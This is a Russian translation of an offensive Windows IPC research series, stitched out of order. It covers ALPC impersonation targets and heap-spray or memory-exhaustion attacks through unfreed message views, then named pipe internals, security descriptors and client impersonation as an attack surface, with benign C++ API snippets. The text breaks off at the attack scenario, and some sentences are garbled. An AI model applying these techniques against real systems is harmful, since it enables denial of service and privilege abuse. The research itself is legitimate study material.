Сервер должен принимать сообщения о соединении и должен пытаться выдать себя
за сервер
Сервер не должен проверять, удалось или не удалось выдать себя за другого.
(В соответствующих случаях сервер должен работать в другом контексте
безопасности, чем ваш клиент, а именно: другой пользователь или другой уровень
целостности).
На данный момент я не могу придумать хороший способ автоматизировать или
полуавтоматизировать процесс поиска таких целей. Единственный вариант, который
приходит мне на ум, это поиск портов подключения ALPC и реверсирование
процессов хостинга.
Я буду обновлять этот пост, если наткнусь на что-нибудь интересное в этом
направлении, но для основной части я хотел повторить путь атаки при неудачных
попытках имперсонации.
Несвободные объекты сообщений
Как упоминалось в разделе Атрибуты сообщений ALPC, существует несколько
атрибутов сообщений, которые клиент или сервер может отправить вместе с
сообщением. Одним из них является атрибут ALPC_DATA_VIEW_ATTR, который может
быть использован для отправки информации о сопоставленном представлении другой
стороне коммуникации.
Напомнить: Это можно использовать, например, для хранения больших сообщений
или данных в разделяемом представлении и отправки дескриптора этого
разделяемого представления другой стороне вместо использования механизма
обмена сообщениями с двойным буфером для копирования данных из одного
пространства памяти в другое.
Интересным моментом здесь является то, что разделяемое представление (или
раздел, как он называется в Windows) отображается в пространство процесса
получателя, когда на него ссылается атрибут ALPC_DATA_VIEW_ATTR. Затем
получатель может что-то сделать с этим разделом (если он знает о его
отображении), но в конечном итоге получатель сообщения должен убедиться, что
отображенное представление освобождено из собственного пространства памяти, а
это требует определенного количества шагов, которые могут быть выполнены
неправильно. Если получателю не удается освободить сопоставленное
представление, например, потому что он вообще не ожидал получить
представление, отправитель может посылать все больше и больше представлений с
произвольными данными, чтобы заполнить пространство памяти получателя
представлениями с произвольными данными, что сводится к атаке Heap Spray.
Я узнал об этом векторе атаки ALPC, только прослушав (в очередной раз) доклад Алекса Ионеску SyScan ALPC Talk, и я думаю, что нет способа лучше сформулировать и показать, как работает этот вектор атаки, чем он сам в этом докладе, поэтому я не буду копировать его содержание и слова и просто укажу вам на 32-ю минуту его доклада, где он начинает объяснять атаку. Также вам стоит посмотреть 53-ю минуту его выступления, чтобы увидеть демонстрацию атаки heap spray.
Та же логика применяется к другим атрибутам сообщения ALPC, например, к дескрипторам, которые отправляются в ALPC_MESSAGE_HANDLE_INFORMATION через атрибут дескриптора ALPC.
Поиск уязвимых целей для этого типа атак — это, опять же, индивидуальный процесс расследования, в котором необходимо:
Конечно, другим допустимым подходом было бы выбрать цель и просто залить ее
представлениями (в качестве примера), чтобы проверить, является ли результатом
много областей общей памяти, выделенных в адресном пространстве цели. Полезным
инструментом для проверки областей памяти процесса является VMMap
из
Sysinternals , который я
использовал в качестве PoC ниже.
В качестве примера я заполнил свой тестовый сервер ALPC представлениями
размером 20 КБ, как показано ниже:
Это действительно работает, потому что я не какие пытался освободить либо
выделенные атрибуты на моем тестовом сервере ALPC.
Я также случайным образом выбрал несколько — например, четыре или пять —
процессов ALPC от Microsoft (которые я идентифицировал с помощью показанных
выше методов), но те, которые я выбрал, похоже, не совершают ту же ошибку.
Честно говоря, может быть полезно проверить больше процессов для этого, но,
насколько мне известно, мне не нужна такая ошибка, кроме сбоя процесса,
который, если он достаточно критичен, также может привести к сбою ОС (отказ в
обслуживании).
Интересное примечание :
В своем выступлении Алекс Ионеску упоминает,
что диспетчер памяти Windows выделяет области памяти на границах 64 КБ, что
означает, что всякий раз, когда вы выделяете память, диспетчер памяти помещает
эту память в начало следующего доступного блока размером 64 КБ. Что позволяет
вам, как злоумышленнику, создавать и отображать представления произвольного
размера (желательно меньше 64 КБ, чтобы сделать исчерпание памяти
эффективным), а ОС будет отображать представление в памяти сервера и помечать
64 КБ-YourViewSize как неиспользуемую память, потому что это необходимо
выровнять все распределение памяти по границам 64 КБ. Вы хотите увидеть 54-ю
минуту выступления Алекса,
чтобы получить
визуальное и словесное объяснение этого эффекта.
Рэймонд Чен объясняет причину гранулярности
в 64 КБ здесь
.
В конце концов, атаки с исчерпанием памяти, конечно, не единственный
жизнеспособный вариант использования примитива памяти/кучи, который люди умнее
меня могут превратить в путь эксплойта…
ALPC недокументирован и довольно сложен, но в качестве мотивационного
преимущества: уязвимости внутри ALPC могут стать очень серьезными, поскольку
ALPC повсеместно распространен в ОС Windows, все встроенные процессы с
высокими привилегиями используют ALPC, и благодаря своей коммуникационной
архитектуре это привлекательная цель даже с точки зрения песочницы.
В ALPC есть гораздо больше, чем я рассказал в этом посте. Потенциально можно
было бы написать целую книгу об ALPC, но я надеюсь, что хотя бы коснулся
основ, чтобы вы начали интересоваться ALPC.
Чтобы получить первое впечатление «Где и сколько ALPC находится на моем ПК», я
рекомендую запустить ProcMonXv2 (от
zodiacon ) на вашем хосте, чтобы увидеть
тысячи событий ALPC, запускаемых за несколько секунд.
Чтобы продолжить оттуда, вы можете найти мой [код клиента и сервера ALPC
](https://github.com/csandker/InterProcessCommunication-
Samples/tree/master/ALPC/CPP-ALPC-Basic-Client-Server)полезным для игры с
процессами ALPC, а также для выявления и использования уязвимостей в ALPC.
Если вы обнаружите, что кодируете и/или исследуете ALPC, обязательно
ознакомьтесь с [справочным ](https://csandker.io/2022/05/24/Offensive-Windows-
IPC-3-ALPC.html#references)разделом, чтобы узнать, как другие справились с
ALPC.
Наконец, в качестве последнего слова и в заключение моей рекомендации с самого
начала: если вы чувствуете, что можете услышать другой голос и точку зрения на
ALPC, я настоятельно рекомендую взять еще один напиток и насладиться следующим
часом Алекса Ионеску о LPC, RPC и АЛК:
Изучая ALPC, я сначала подумал, что сервер прослушивает свой
коммуникационный порт , который он получает, когда принимает клиентское
соединение через [NtAlpcConnectPort
](https://github.com/csandker/InterProcessCommunication-
Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-
Util/ALPC.h#L307-L320). Это имело бы смысл, так как это называется
коммуникационным портом. Однако прослушивание входящих сообщений на
коммуникационном порту сервера привело к блокировке вызова
[NtAlpcSendWaitReceivePort
](https://github.com/csandker/InterProcessCommunication-
Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-
Util/ALPC.h#L322-L332), который так и не вернулся с сообщением.
ALPC сервера, коммуникационном должно быть, было неверным, что меня
озадачило, поскольку клиент на другой стороне действительно получает сообщения
на свой коммуникационный порт. Я некоторое время зависал над этим вопросом,
пока не связался с Алексом Ионеску , чтобы
спросить его об этом, и узнал, что мое предположение было действительно
неверным, а точнее, со временем стало неверным: Алекс объяснил мне, что идея,
которую я имел (сервер прослушивает и отправляет сообщения через свой
коммуникационный порт) был способ, которым LPC (предшественник ALPC) был
разработан для работы. Однако такой дизайн заставит вас прослушивать растущее
число коммуникационных портов с каждым новым клиентом, которого принимает
сервер. Представьте, что с сервером разговаривают 100 клиентов, затем серверу
необходимо прослушивать 100 коммуникационных портов, чтобы получать клиентские
сообщения, что часто приводит к созданию 100 потоков, где каждый поток
взаимодействует с другим клиентом. Это было сочтено неэффективным, и гораздо
более эффективным решением было иметь один поток, прослушивающий (и
отправляющий) порт подключения сервера, где все сообщения отправляются на этот
порт подключения.
Это, в свою очередь, означает: сервер принимает клиентское соединение,
получает дескриптор коммуникационного порта клиента, но по-прежнему использует
дескриптор порта соединения сервера в вызовах [NtAlpcSendWaitReceivePort
](https://github.com/csandker/InterProcessCommunication-
Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-
Util/ALPC.h#L322-L332)для отправки и получения сообщений от всех подключенных
клиентов.
Означает ли это, что коммуникационный порт сервера устарел (и это был мой
дополнительный вопрос Алексу )? Его ответ
снова имел смысл и прояснил мое понимание ALPC: порт связи сервера для каждого
клиента используется внутри ОС для привязки сообщения, отправленного
конкретным клиентом, к конкретному порту связи этого клиента. Это позволяет ОС
связать специальную структуру контекста с каждым клиентским портом связи,
которая может использоваться для идентификации клиента. Этой специальной
контекстной структурой является PortContext , которая может быть любой
произвольной структурой, которую можно передать в [NtAlpcAcceptConnectPort
](https://github.com/csandker/InterProcessCommunication-
Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-
Util/ALPC.h#L307-L320)и которую впоследствии можно извлечь из любого сообщения
с ALPC_CONTEXT_ATTR.
Это означает: когда сервер прослушивает свой порт соединения, он получает
сообщения от всех клиентов, но если он хочет знать, какой клиент отправляет
сообщение, сервер может получить структуру контекста порта (через
ALPC_CONTEXT_ATTR), которую он назначил для этот клиент после принятия
соединения, и ОС будет получать эту структуру контекста из внутренне
сохраненного порта связи клиента.
На данный момент мы можем заключить, что коммуникационный порт сервера для
каждого клиента по-прежнему важен для ОС и по-прежнему имеет свое место и роль
в коммуникационной структуре ALPC. Это, однако, не отвечает на вопрос, зачем
серверу на самом деле нужен дескриптор порта связи каждого клиента (поскольку
клиентский PortContext может быть извлечен из сообщения, полученного с
помощью дескриптора порта соединения).
Ответ здесь — имперсонализация . Когда сервер хочет олицетворять клиента, ему
необходимо передать порт связи клиента в [NtAlpcImpersonateClientOfPort
](https://github.com/csandker/InterProcessCommunication-
Samples/blob/master/ALPC/CPP-ALPC-Basic-Client-Server/CPP-
Util/ALPC.h#L352-L357). Причина этого в том, что информация о контексте
безопасности, необходимая для выполнения олицетворения, привязана (если это
разрешено клиентом) к коммуникационному порту клиента. Не имеет смысла
привязывать эту информацию к порту подключения, потому что все клиенты
используют этот порт подключения, а каждый клиент имеет свой уникальный порт
связи для каждого сервера.
Следовательно: если вы хотите имперсонализировать своих клиентов, вы хотите
сохранить дескриптор порта связи каждого клиента.
Ниже приведены несколько ресурсов, которые я считаю полезными для изучения и изучения ALPC.
Справочные проекты, в которых используется ALPC
Ссылки на детали реализации ALPC
Разговоры о ALPC
Ссылки на LPC :
Введение
Этот пост - начало серии постов о внутреннем устройстве и интересных деталях
различных компонентов технологии Inter-Process-Communication (IPC) на базе
Windows. Первоначально в этой серии будут рассмотрены следующие темы:
Именованные 'pipes':
Поэтому несколько компонентов технологии IPC остались за кадром, но я, возможно, когда-нибудь дополню эту серию и включу, например, некоторые из них:
Итак, давайте перейдем к именованным 'pipes'
Хотя название может звучать немного странно, 'pipes' - это базовая и простая технология для обеспечения связи и обмена данными между двумя процессами, где термин 'pipes' просто описывает раздел общей памяти, используемый этими двумя процессами.
Чтобы с самого начала ,было правильное понимание, технология IPC, о которой мы говорим, называется " pipes ", и существует два типа pipe:
В большинстве случаев, говоря о 'pipes', вы, скорее всего, имеете в виду Named Pipes поскольку они предлагают полный набор функций, в то время как Anonymous Pipes в основном используются для связи между дочерними и родительскими процессами. Это также подразумевает, что связь может осуществляться между двумя процессами в одной системе (с помощью Named Pipes и Anonymous Pipes) но также может осуществляться через границы машин (только Named Pipes могут общаться через границы машин). Поскольку Named Pipes наиболее актуальны и поддерживают полный набор функций, в этой заметке мы сосредоточимся только на Named Pipes. Добавим немного исторической справки об именованных трубах: Именованные трубопроводы возникли во времена OS/2. Трудно назвать точную дату когда придумали Named Pipes в Windows, но, по крайней мере, можно сказать, что они должны были поддерживаться в Windows 3.1 в 1992 году - об этой поддержке говорится в Windows/DOS Developer's Journal Volume 4, поэтому справедливо предположить, чтоNamed Pipes были добавлены в Windows в начале 1990-х годов.
Прежде чем мы погрузимся во внутреннее устройство Named Pipes пожалуйста, примите к сведению, что далее будет приведено несколько фрагментов кода, взятых из [моего публичного примера](https://github.com/csandker/InterProcessCommunication- Samples/tree/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server) реализации Named Pipes. Если вы почувствуете, что вам нужно больше контекста, перейдите в репозиторий кода и просмотрите общую картину.
Обмен сообщениями по именованным трубам
Итак, давайте разберемся с внутренним устройством Named Pipe. Если вы никогда раньше не слышали об Named Pipes представьте себе эту коммуникационную технологию как настоящую стальную трубу - у вас есть полый прут с двумя концами, и если вы крикнете что-то в один конец, слушатель услышит ваши слова на другом конце. Это все, что делает Named Pipe - она передает информацию с одного конца на другой.
Если вы являетесь пользователем Unix, вы наверняка уже использовали pipes (поскольку это не чисто Windows-технология), используя что-то вроде этого: cat file.txt | wc -l. Команда, которая выводит содержимое файла file.txt, но вместо вывода на STDOUT (который может быть окном вашего терминала) вывод перенаправляется ("передается") на вход второй команды wc -l, которая таким образом подсчитывает строки вашего файла. Это пример Anonymous Pipes.
Name Pipes в Windows так же легко понять, как и в приведенном выше примере. Чтобы мы могли использовать весь набор возможностей pipe мы отойдем от Anonymous Pipes и создадим сервер и клиент, которые будут общаться друг с другом.
Name Pipe - это просто объект, точнее, FILE_OBJECT, который управляется специальной файловой системой, **Named Pipe File System (NPFS):
**
Когда вы создаете Named Pipe, назовем его 'fpipe', под капотом вы создаете FILE_OBJECT с заданным именем 'fpipe' (отсюда: named pipe) на специальном диске устройства под названием 'pipe'.
Немного практики
Named Pipe создается путем вызова функции WinAPI CreateNamedPipe, как показано ниже [[источник](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeServer/CPP-Basic-PipeServer.cpp#L88)]:
C++:Copy to clipboard
HANDLE serverPipe = CreateNamedPipe(
L"\\\\.\\pipe\\fpipe", // name of our pipe, must be in the form of \\.\pipe\<NAME>
PIPE_ACCESS_DUPLEX, // open mode, specifying a duplex pipe so server and client can send and receive data
PIPE_TYPE_MESSAGE, // MESSAGE mode to send/receive messages in discrete units (instead of a byte stream)
1, // number of instanced for this pipe, 1 is enough for our use case
2048, // output buffer size
2048, // input buffer size
0, // default timeout value, equal to 50 milliseconds
NULL // use default security attributes
);
На данный момент наиболее интересной частью этого вызова является \\\\.\\\pipe\\fpipe.
C++ требует экранирования слэшей, поэтому независимо от языка \\\.\pipe\fpipe. Ведущее '\.' относится к глобальному корневому каталогу вашей машины, где термин 'pipe' является символической ссылкой на устройство NamedPipe.
Поскольку объект Named Pipe является FILE_OBJECT, доступ к Named Pipe, которую мы только что создали, равносилен доступу к "обычному" файлу.
Поэтому подключиться к Named Pipe с клиента так же просто, как вызвать CreateFile [[источник](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeClient/CPP-Basic-PipeClient.cpp#L58)]:
C++:Copy to clipboard
HANDLE hPipeFile = CreateFile(L"\\\\127.0.0.1\\pipe\\fpipe", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
После подключения чтение из pipe требует только вызова ReadFile [[источник](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeClient/CPP-Basic-PipeClient.cpp#L65)]
C++:Copy to clipboard
ReadFile(hPipeFile, pReadBuf, MESSAGE_SIZE, pdwBytesRead, NULL);
Прежде чем вы сможете прочитать какие-то данные из pipe вы хотите, чтобы ваш сервер записал в нее какие-то данные (которые вы сможете прочитать). Это делается вызовом - кто бы мог подумать - WriteFile [[источник](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeServer/CPP-Basic-PipeServer.cpp#L110)]
C++:Copy to clipboard
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
Но что на самом деле происходит, когда вы "пишете" в pipes?
Как только клиент подключается к серверному каналу, созданная вами 'pipe' больше не находится в состоянии прослушивания, и данные могут быть записаны в нее.
Пользовательский вызов WriteFile передается ядру, где вызывается NtWriteFile, который определяет все детали операции записи, например, какой объект устройства связан с данным файлом, должна ли операция записи быть синхронной, устанавливается пакет запроса ввода/вывода (IRP) и, в конечном итоге, NtWriteFile заботится о том, чтобы ваши данные были записаны в файл. В нашем случае указанные данные записываются не в реальный файл на диске, а в раздел общей памяти, на который ссылается файловый хэндл, возвращаемый из CreateNamedPipe.
Наконец - как уже упоминалось во введении - Named Pipe также можно использовать через сетевое соединение, пересекающее границы системы.
Для вызова удаленного сервера Named Pipe не требуется никаких дополнительных реализаций, просто убедитесь, что в вызове CreateFile указан IP или имя хоста (как в примере выше).
Давайте угадаем: какой сетевой протокол будет использоваться при вызове удаленного сервера? .... барабанная дробь ... абсолютно неудивительно, что это SMB.
С удаленным сервером устанавливается SMB-соединение, которое по умолчанию инициализируется переговорным запросом для определения протокола сетевой аутентификации. В отличие от других механизмов IPC, таких как RPC, вы, как разработчик сервера, не можете контролировать протокол сетевой аутентификации, поскольку он всегда согласовывается через SMB. Поскольку Kerberos является предпочтительной схемой аутентификации, начиная с Windows 2000, Kerberos будет согласован, если это возможно.
Примечание: С точки зрения клиента вы можете эффективно выбирать протокол аутентификации, выбирая подключение к имени хоста или IP. Из-за особенностей конструкции Kerberos он не очень хорошо работает с IP-адресами, поэтому если вы решили подключиться к IP-адресу, результатом согласования всегда будет NTLM(v2). В то время как при подключении к имени хоста вы, скорее всего, всегда будете использовать Kerberos.
Когда аутентификация завершена, действия, которые клиент и сервер хотят выполнить, снова являются классическими файловыми действиями, которые обрабатываются SMB так же, как и любые другие файловые операции, например, путем запуска запроса 'Create Request File', как показано ниже:
Режимы передачи данных
Named Pipe предлагают два основных режима передачи данных: режим байтов и режим сообщений.
В режиме байтов сообщения передаются в виде непрерывного потока байтов между клиентом и сервером. Это означает, что клиентское приложение и серверное приложение не знают точно, сколько байт считывается из pipe или записывается в нее в каждый момент времени. Поэтому запись на одной стороне не всегда приводит к чтению того же размера на другой. Это позволяет клиенту и серверу передавать данные, не заботясь об их размере.
В режиме сообщений клиент и сервер отправляют и получают данные дискретными блоками. Каждый раз, когда сообщение отправляется по pipe, оно должно быть прочитано как полное сообщение. Если вы считываете данные с pipe сервера в режиме сообщений, но ваш буфер чтения слишком мал, чтобы вместить все данные, то часть данных, которая помещается в ваш буфер, будет скопирована в него, остальные данные останутся в разделе общей памяти сервера, и вы получите ошибку 234 (0xEA, ERROR_MORE_DATA), указывающую на то, что необходимо получить больше данных.
Визуальное сравнение режимов сообщений показано ниже, взято из книги "Сетевое программирование для Microsoft Windows" (1999):
Перекрывающийся ввод-вывод, режим блокировки и буферы ввода-вывода
Перекрывающийся ввод-вывод, режим блокировки и буферы ввода-вывода не являются удивительно важными с точки зрения безопасности, но знание о том, что они существуют и что они означают, может помочь в понимании, общении, построении и отладке именованных труб. Поэтому я вкратце расскажу об этих понятиях.
Перекрывающийся ввод-вывод
Некоторые функции, связанные с Named Pipe, такие как [ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-readfile), [WriteFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-writefile), [TransactNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/namedpipeapi/nf-namedpipeapi-transactnamedpipe) и [ConnectNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe), могут выполнять операции с трубами либо синхронно, то есть выполняющий поток ждет завершения операции, прежде чем продолжить, либо асинхронно, то есть выполняющий поток запускает действие и продолжает, не дожидаясь его завершения. Важно отметить, что асинхронные операции с pipe могут быть выполнены только на pipe (сервере), который допускает перекрывающийся ввод- вывод, путем установки [FILE_FLAG_OVERLAPPED в вызове CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea).
Асинхронные вызовы могут быть выполнены либо путем указания структуры [OVERLAPPED](https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns- minwinbase-overlapped) в качестве последнего параметра для каждого из вышеупомянутых "стандартных" действий с pipe таких как [ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-readfile), либо путем указания [COMPLETION_ROUTINE](https://docs.microsoft.com/en- us/windows/win32/api/minwinbase/nc-minwinbase-lpoverlapped_completion_routine) в качестве последнего параметра для "расширенных" действий с pipe, таких как [ReadFileEx](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf- fileapi-readfileex). Первый метод, метод OVERLAPPED structure, основан на событиях, то есть должен быть создан объект события, который сигнализируется по завершении операции, в то время как метод COMPLETION_ROUTINE основан на обратном вызове, то есть исполняющему потоку передается процедура обратного вызова, которая ставится в очередь и выполняется по сигналу. Подробнее об этом можно узнать [здесь](https://docs.microsoft.com/en- gb/windows/win32/ipc/synchronous-and-overlapped-input-and-output) с примером реализации от Microsoft [здесь](https://docs.microsoft.com/en- gb/windows/win32/ipc/named-pipe-server-using-overlapped-i-o) .
Режим блокировки
Поведение в режиме блокировки определяется при настройке сервера NamedPipe с помощью [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea) путем использования (или отсутствия) флага в параметре dwPipeMode. Следующие два флага dwPipeMode определяют режим блокировки сервера:
PIPE_WAIT (по умолчанию): Режим блокировки включен. При использовании операций с NamedPipe таких как [ReadFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-readfile) на Pipe для которой включен режим блокировки, операция ожидает завершения. Это означает, что операция чтения на таком Pipe будет ждать, пока не появятся данные для чтения, а операция записи будет ждать, пока все данные не будут записаны. Это, конечно, может привести к тому, что в некоторых ситуациях операция будет ждать бесконечно долго.
PIPE_NOWAIT: Режим блокировки отключен. Именованные операции pipe , такие как [ReadFile](https://docs.microsoft.com/en- us/windows/win32/api/fileapi/nf-fileapi-readfile), возвращаются немедленно. Чтобы убедиться в том, что все данные прочитаны или записаны, нужны такие процедуры, как Overlapping I/O.
Буферы ввода-вывода
Под буферами ввода-вывода я имею в виду входные и выходные буферы сервера NamedPipe, которые вы создаете при вызове [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea), а точнее, размеры этих буферов в параметрах nInBufferSize и nOutBufferSize.
При выполнении операций чтения и записи ваш сервер NamedPipe использует нестраничную память (имеется в виду физическая память) для временного хранения данных, подлежащих чтению или записи. Злоумышленник, которому разрешено влиять на эти значения для созданного сервера, может злоупотребить ими, чтобы потенциально вызвать крах системы, выбрав большие буферы или задержать операции с Pipe, выбрав маленький буфер (например, 0):
Большие буферы : Поскольку буферы In-/Out являются нестраничными, сервер исчерпает память, если выбрать их слишком большими. Однако параметры nInBufferSize и nOutBufferSize не принимаются системой "вслепую". Верхний предел определяется константой, зависящей от системы; я не смог найти точной информации об этой константе (и не стал копаться в заголовках); в этом [сообщении](https://blog.stephencleary.com/2010/03/io-limitation-in- windows.html) указано, что это ~4GB для системы x64 Windows7.
Маленькие буферы : Размер буфера 0 абсолютно допустим для nInBufferSize и nOutBufferSize. Если бы система строго выполняла то, что ей было сказано, вы бы не смогли ничего записать в pipe, потому что буфер размера 0 - это ... ну, несуществующий буфер. К счастью, система достаточно умна, чтобы понять, что вы просите минимальный размер буфера, и поэтому увеличит фактический размер буфера до размера, который она получит, но это имеет последствия для производительности. Размер буфера 0 означает, что каждый байт должен быть прочитан процессом на другой стороне pipe (и тем самым очищен буфер), прежде чем новые данные могут быть записаны в буфер. Это справедливо для обоих значений, nInBufferSize и nOutBufferSize. Буфер размером 0 может стать причиной задержек сервера.
Безопасность NamedPipe
И снова мы можем сделать эту главу о том, как установить и контролировать безопасность именованного трубопровода, довольно короткой, но важно знать, как это делается.
Единственное средство, которое вы можете включить, когда хотите защитить NamePipe, - это установка дескриптора безопасности для сервера NamePipe в качестве последнего параметра (lpSecurityAttributes) в вызове [CreateNamedPipe](https://docs.microsoft.com/en- us/windows/win32/api/winbase/nf-winbase-createnamedpipea). Установка этого дескриптора безопасности необязательна; дескриптор безопасности по умолчанию можно установить, указав NULL в параметре lpSecurityAttributes.
В документации Windows определено, что делает дескриптор безопасности по умолчанию для сервера NamedPipe:
ACLs в дескрипторе безопасности по умолчанию для NamedPipe предоставляют полный контроль учетной записи LocalSystem, администраторам и владельцу- создателю. Они также предоставляют доступ на чтение членам группы Everyone и учетной записи anonymous.
CreateNamedPipe > Paremter > lpSecurityAttributes [[источник](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf- winbase-createnamedpipea#parameters)]
Таким образом, по умолчанию все могут читать с вашего сервера NamedPipe если вы не указали дескриптор безопасности, независимо от того, находится ли читающий клиент на той же машине или нет. Если вы подключаетесь к NamedPipe серверу без заданного дескриптора безопасности, но все равно получаете ошибку Access Denied Error (код ошибки: 5), убедитесь, что вы указали только доступ READ (обратите внимание, что в примере выше указан доступ READ и WRITE с GENERIC_READ | GENERIC_WRITE).
Для удаленных подключений еще раз обратите внимание - как описано в конце главы Named Pipe Messaging - что протокол сетевой аутентификации согласовывается между клиентом и сервером через протокол SMB. Не существует способа программно принудительно использовать более сильный протокол Kerberos (вы можете только отключить NTLM на хосте сервера).
Имперсонация
Имперсонация - это простая концепция, которая понадобится нам в следующем
разделе для обсуждения векторов атак с использованием NamedPipe.
Если вы знакомы с имперсонацией, можете пропустить этот раздел; имперсонация
не относится к NamedPipe.
Если вы еще не сталкивались с имперсонацией в среде Windows, позвольте мне вкратце рассказать вам об этой концепции:
Имперсонация - это способность потока выполняться в контексте безопасности, отличном от контекста безопасности процесса, которому принадлежит поток. Имперсонация обычно применяется в архитектуре клиент-сервер, где клиент подключается к серверу, а сервер может (при необходимости) выдать себя за клиента. Имперсонация позволяет серверу (потоку) выполнять действия от имени клиента, но в рамках прав доступа клиента.
Типичный сценарий - сервер хочет получить доступ к некоторым записям (например, в базе данных), но только клиент имеет право доступа к своим собственным записям. Сервер может ответить клиенту, попросив получить записи самостоятельно и передать их серверу, или сервер может использовать протокол авторизации, чтобы доказать, что клиент разрешил серверу доступ к записям, или
Идентификационная информация, такая как информация, указывающая, кем является клиент (например, [SID](https://docs.microsoft.com/en-us/troubleshoot/windows- server/identity/security-identifiers-in-windows)), упаковывается в структуру, называемую контекстом безопасности. Эта структура глубоко встроена во внутреннее устройство операционной системы и является необходимым элементом информации для межпроцессного взаимодействия. Поэтому клиент не может выполнить IPC вызов без контекста безопасности, но ему нужен способ указать, что он позволяет серверу знать и делать с его идентификатором. Для контроля этого Microsoft создала так называемые уровни имперсонации.
Структура перечисления SECURITY_IMPERSONATION_LEVEL определяет четыре уровня имперсонации, которые определяют операции, которые сервер может выполнять в контексте клиента.
SECURITY_IMPERSONATION_LEVEL
SecurityAnonymous Сервер не может выдавать себя за клиента или идентифицировать его.
SecurityIdentification Сервер может получить идентификационные данные и привилегии клиента, но не может выдавать себя за него.
SecurityImpersonation Сервер может выдавать себя за контекст безопасности клиента в локальной системе.
SecurityDelegation Сервер может выдавать за клиента контекст безопасности на удаленных системах.Click to expand...
Для получения дополнительной справочной информации об имперсонации ознакомьтесь с документацией Microsoft по [клиентской имперсонации](https://docs.microsoft.com/en-us/windows/win32/secauthz/client- impersonation).
Для получения некоторого контекста вокруг имперсонации ознакомьтесь с разделом Токены доступа и следующим разделом об имперсонации в моем посте об авторизации Windows.
Имперсонификация клиента NamedPipe
Итак, раз уж мы затронули эту тему, и если вам еще не совсем скучно. Давайте вкратце расскажем о том, что на самом деле происходит под капотом, если сервер выдает себя за клиента.
Если вас больше интересует, как это реализовать, вы найдете ответ в моем примере [реализации](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/NamedPipes/CPP-NamedPipe-Basic-Client-Server/CPP-Basic- PipeServer/CPP-Basic-PipeServer.cpp#L21)
Шаг 1: Сервер ожидает входящего соединения от клиента и после этого вызывает
функцию [ImpersonateNamedPipeClient](https://docs.microsoft.com/en-
us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient).
Шаг 2: Этот вызов приводит к вызову
[NtCreateEvent](https://docs.microsoft.com/en-us/windows-
hardware/drivers/ddi/ntifs/nf-ntifs-zwcreateevent) (для создания события
обратного вызова) и [NtFsControlFile](https://docs.microsoft.com/en-
us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfscontrolfile), которая
является функцией, выполняющей имперсонацию.
Шаг 3: [NtFsControlFile](https://docs.microsoft.com/en-us/windows-
hardware/drivers/ddi/ntifs/nf-ntifs-ntfscontrolfile) - это функция общего
назначения, действие которой задается аргументом, в данном случае
FSCTL_PIPE_Impersonate.
Приведенное ниже описание основано на открытом исходном коде ReactOS, но я думаю, что оно справедливо как
Шаг 4: Далее по стеку вызовов вызывается
NpCommonFileSystemControl,
где FSCTL_PIPE_IMPERSONATE передается в качестве аргумента и используется в
инструкции switch-case для определения того, что делать.
Шаг 5:
NpCommonFileSystemControl
вызывает
NbAcquireExeclusiveVcb
для блокировки объекта, а
NpImpersonate
вызывается, учитывая объект трубы сервера и IRP (I/O Request Object), выданный
клиентом.
Шаг 6:
NpImpersonate
затем в свою очередь вызывает
[SeImpersonateClientEx](https://docs.microsoft.com/en-us/windows-
hardware/drivers/ddi/ntifs/nf-ntifs-seimpersonateclientex) с контекстом
безопасности клиента, который был получен из IRP клиента, в качестве
параметра.
Шаг 7: [SeImpersonateClientEx](https://docs.microsoft.com/en-us/windows-
hardware/drivers/ddi/ntifs/nf-ntifs-seimpersonateclientex) в свою очередь
вызывает [PsImpersonateClient](https://docs.microsoft.com/en-us/windows-
hardware/drivers/ddi/ntifs/nf-ntifs-psimpersonateclient) с объектом потока
сервера и маркером безопасности клиента, который извлекается из контекста
безопасности клиента.
Шаг 8: Контекст потока сервера затем изменяется на контекст безопасности
клиента.
Шаг 9: Любое действие сервера и любая функция, которую сервер вызывает,
находясь в контексте безопасности клиента, выполняются с идентификатором
клиента и тем самым выдают себя за клиента.
Шаг 10: Если сервер закончил то, что собирался сделать, будучи клиентом, он
вызывает команду [RevertToSelf](https://docs.microsoft.com/en-
us/windows/win32/api/securitybaseapi/nf-securitybaseapi-reverttoself), чтобы
вернуться в свой собственный, исходный контекст потока.
Поверхность атаки
Имперсонация клиента
Наконец-то мы заговорили о поверхности атаки. Самый важный вектор атаки, основанный на NamedPipe - это имперсонация.
К счастью, мы уже представили и поняли концепцию имперсонации в предыдущем разделе, поэтому мы можем сразу приступить к работе.
Сценарий атаки
